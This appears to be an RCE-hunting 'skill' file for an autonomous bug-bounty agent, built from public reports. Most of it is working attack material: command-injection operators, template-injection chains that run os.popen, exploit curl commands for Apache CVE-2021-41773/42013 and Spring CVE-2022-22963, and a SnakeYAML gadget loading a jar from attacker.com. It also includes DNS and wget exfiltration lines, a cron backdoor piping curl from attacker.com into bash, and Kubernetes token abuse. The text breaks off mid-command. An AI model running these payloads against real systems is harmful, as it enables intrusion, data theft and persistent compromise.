hunt-rce

---

name: hunt-rce description: Hunting skill for rce vulnerabilities. Built from 67 public bug bounty reports. Use when hunting rce on any target. sources: github, hackerone_public report_count: 87

Autonomous Testing Priority

Content-type is the #1 silent failure mode for command injection.

Traditional web forms use Content-Type: application/x-www-form-urlencoded. If you send a JSON body ({"host":"127.0.0.1;id"}) to a form endpoint, the server reads request.form['host'] and gets nothing — the app executes normally with no injection, returning a plausible 200 response. You get a false negative with no indication anything went wrong.

Rule: If the page has an HTML form (<form method="POST">), use form-encoding. If the path is /api/... or the response is JSON, use JSON.

Command injection operators to try (in order of prevalence):

value;id        ← Unix semicolon (most common)
value|id        ← pipe
value&&id       ← AND
value$(id)      ← subshell
value`id`       ← backtick

Proof: OS command output (uid=N(username) gid=...) in the response body confirms code execution. The output may be HTML-wrapped — that still counts. If the response is otherwise normal (200, expected content) with the command output appended or embedded, exploitation is confirmed.

---

Crown Jewel Targets

RCE vulnerabilities command the highest payouts in bug bounty programs because they grant attackers direct execution control over target infrastructure. The highest-value targets are:

Highest-paying asset types:

• Enterprise server products (GitHub Enterprise Server, self-hosted GitLab) — privilege escalation chains from low-privileged console roles to root SSH access consistently pay critical/high
• Supply chain / package registries — dependency confusion attacks against npm, PyPI, etc. hit critical severity across every major program
• Cloud-native infrastructure — exposed Kubernetes API servers, ingress controllers, and misconfiqured CI/CD pipelines
• Mobile app backends and OAuth flows — where server-side processing of attacker-controlled data meets execution contexts
• Admin/management consoles — template injection in configuration panels reaches root with a single payload

Why this class pays most:

• Blast radius is infrastructure-wide, not user-scoped
• Proof-of-concept is unambiguous — shell output is undeniable
• Fix requires architectural changes, not just a patch
• Programs cannot afford false negatives on RCE

---

Attack Surface Signals

URL Patterns

/management-console/*
/admin/settings/*
/api/v*/exec
/api/v*/run
/webhook/*
/_internal/*
/import?url=
/render?template=
/preview?format=

Response Headers / Tech Stack Signals

X-Powered-By: Express          # Node.js — npm dependency surface
X-Powered-By: Phusion Passenger
Server: nginx (ingress-nginx)  # Kubernetes ingress — path field injection
X-Runtime: Ruby                # Rails ActiveStorage, RDoc, REXML attack surface
Content-Type: application/yaml # YAML parsers (SnakeYAML, Psych) — deserialization
X-GitHub-Enterprise-Version    # GHAS — nomad template, collectd, syslog-ng injection

JavaScript / Frontend Signals

// Look for these patterns in JS bundles
fetch('/api/exec', {method:'POST', body: cmd})
eval(userInput)
new Function(userInput)
document.write(unsafeData)
window.location = userControlled  // URL scheme bypass → JS execution

Tech Stack Signals

| Signal | RCE Vector | |--------|-----------| | nomad in config UI | Template injection → {{ ... }} | | syslog-ng config editable | Config injection → program() destination | | collectd config editable | Plugin exec injection | | SnakeYAML in classpath | !!javax.script.ScriptEngineManager [...] | | npm package.json internal scope | Dependency confusion | | ingress-nginx annotations | Path field regex bypass |

---

Step-by-Step Hunting Methodology

1. Map the execution contexts first. Before testing payloads, identify everywhere user-controlled input touches an execution layer: template engines, shell commands, YAML parsers, file paths used in operations, package resolution, and configuration files.

2. Enumerate admin/management interfaces. Crawl for /management-console, /admin, /_internal, /setup, /config. These surfaces are lower-auth and higher-privilege — the GHES cluster produced 6 separate RCEs from one console role.

3. Check template injection in every config field. In any management UI that accepts free-form configuration (log destinations, notification formats, proxy settings), submit {{7*7}}, ${7*7}, <%= 7*7 %>. Look for 49 in responses, logs, or DNS callbacks.

4. Test YAML/XML/serialized input for code execution. Any endpoint accepting Content-Type: application/yaml or application/xml:

   • SnakeYAML: submit !!javax.script.ScriptEngineManager gadget
   • Ruby YAML: submit !ruby/object:Gem::Installer gadget
   • REXML: submit billion-laughs / quadratic blowup XML

5. Hunt dependency confusion. For every npm/pip/gem internal package name visible in JS bundles, error messages, or package.json in public repos — register a higher-versioned package on the public registry pointing to a canary callback.

6. Check file path operations for traversal → execution. ActiveStorage, file upload handlers, symlink operations: submit ../../../etc/cron.d/shell as filename. Confirm write then trigger execution.

7. Audit Kubernetes/cloud-native surfaces. Run kubectl against any exposed API server. Check ingress annotations, especially nginx.ingress.kubernetes.io/configuration-snippet and spec.rules.http.paths.path for Lua/regex injection.

8. Test OAuth redirect URI and URL scheme handlers. Mobile apps processing javascript: or intent:// URIs via OAuth redirect may execute JavaScript. Try javascript:alert(document.cookie) and custom scheme URIs.

9. Verify with out-of-band callbacks. Never rely solely on visible output. Use Burp Collaborator, interactsh, or canarytokens.org DNS tokens. Blind RCE is common in backend processors.

10. Chain privileges. A low-severity misconfiguration (editor role, CSRF, path traversal) combined with an RCE primitive equals critical. Always ask: "what can I reach from here?"

---

Payload & Detection Patterns

Template Injection Probes

# Generic polyglot — works across Jinja2, Twig, Freemarker, Pebble, Velocity
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
{{'7'*7}}
{{config}}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}

# Nomad template injection (Go text/template)
{{ env "NOMAD_SECRET_ID" }}
{{ with secret "secret/data/prod" }}{{ .Data.password }}{{ end }}
{{ runscript "id" }}

Apache HTTP Server alias path traversal (CVE-2021-41773 / CVE-2021-42013)

Path normalization bug in Apache 2.4.49 (and the 2.4.50 patch-bypass) lets an attacker escape DocumentRoot via dot-encoded segments through configured alias paths. The same primitive yields very different impact depending on which alias accepts the traversal:

• Alias without Options +ExecCGI (e.g. /icons/) → arbitrary file read only
• Alias with Options +ExecCGI (e.g. /cgi-bin/) → arbitrary code execution

Version fingerprint:

curl -sI http://target/ | grep -i "Server:"
# Vulnerable: Apache/2.4.49 (CVE-2021-41773) or Apache/2.4.50 (CVE-2021-42013)
# Patched:    Apache/2.4.51+

File-read test (any alias):

curl --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
# Note: --path-as-is is REQUIRED — curl normalizes %2e by default

RCE test (cgi-enabled alias only):

curl --path-as-is -X POST \
  -d "echo Content-Type: text/plain; echo; id; uname -a; hostname" \
  "http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

Triage discipline note: when the same path-traversal primitive works on multiple aliases but only one is CGI-enabled, the maximum impact is the severity — not the average. A "file read" finding on /icons/ should always be escalated by re-probing /cgi-bin/ (and any other alias visible from <Directory> blocks in the server-info disclosure or response patterns). See triage-validation Pre-Severity Gate.

Spring Cloud Function SpEL injection (CVE-2022-22963)

Spring Cloud Function ≤ 3.2.2 (and ≤ 3.1.6) evaluates the spring.cloud.function.routing-expression header as a SpEL expression on the /functionRouter endpoint without auth, before any routing logic. Wide deployment in AWS Lambda + Cloud Run + on-prem function platforms. Often exposed externally because /functionRouter auto-registers and devs don't add an explicit gate.

Detection:

• Spring-style port 8080 with /uppercase, /lowercase, or arbitrary single-word function endpoints responding 200
• Confirm with curl -s http://target:8080/uppercase -H "Content-Type: text/plain" --data-binary "test" → returns TEST
• Version banner via /actuator/info or response headers

Exploit:

curl -X POST http://target:8080/functionRouter \
  -H "Content-Type: text/plain" \
  -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' \
  --data "x"

The new String[]{"...", "..."} array form avoids shell-quoting issues that break the more common .exec("id") form when the SpEL header contains parentheses or quotes.

Generalizes to: any Spring application that takes user input into a SpelExpressionParser.parseExpression() call, especially when delivered via header / query-param routes that bypass normal auth filters. See hunt-ssti for the broader SpEL fingerprinting (*{7*7} = Spring Thymeleaf).

SnakeYAML RCE Gadget

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker.com/exploit.jar"]
  ]]
]

Ruby YAML / rdoc_options RCE

--- !ruby/object:Gem::Installer
i: x

Dependency Confusion Detection

# Find internal package names
grep -r '"name"' node_modules/ | grep '@internal\|@company\|@private'
# Check if public registry has higher version
npm view @target-company/internal-package version 2>/dev/null

Ingress-nginx Path Injection

# In spec.rules.http.paths.path
/something)(;.*);#
# Results in nginx config injection

Kubernetes Exposed API Check

curl -sk https://TARGET:6443/api/v1/namespaces/default/pods \
  -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
kubectl --insecure-skip-tls-verify -s https://TARGET:6443 get pods --all-namespaces

Out-of-Band RCE Confirmation

# Payload to confirm blind RCE via DNS
curl "http://$(id | base64).YOUR-INTERACTSH-URL/"
nslookup $(whoami).attacker.com
wget http://attacker.com/$(cat /etc/hostname)

ActiveStorage Path Traversal → RCE

# Filename in upload request
filename="../../../../etc/cron.d/backdoor"
# Cron payload content
* * * * * root curl http://attacker.com/shell | bash

Args4j @-prefix file expansion (Jenkins CVE-2024-23897 family)

Java CLIs built on the args4j library default to expandAtFiles=true, which expands @filename arguments by reading the file and treating each line as a separate command argument. When such a CLI is exposed over HTTP (Jenkins CLI is the canonical case), the server-side error message echoes failed arguments back — turning argument echoing into an arbitrary file-read primitive. Unauthenticated when "anonymous read access" is on (Jenkins default for fresh installs).

Detection:

• Target exposes /cli and /jnlpJars/jenkins-cli.jar (Jenkins family)
• Or: any Java app whose CLI source uses args4j without expandAtFiles=false

Test (Jenkins):

# Get the legit CLI jar from the target
curl -sLO http://target:8080/jnlpJars/jenkins-cli.jar

# First line of file leaks via 'help' error
java -jar jenkins-cli.jar -s http://target:8080/ -http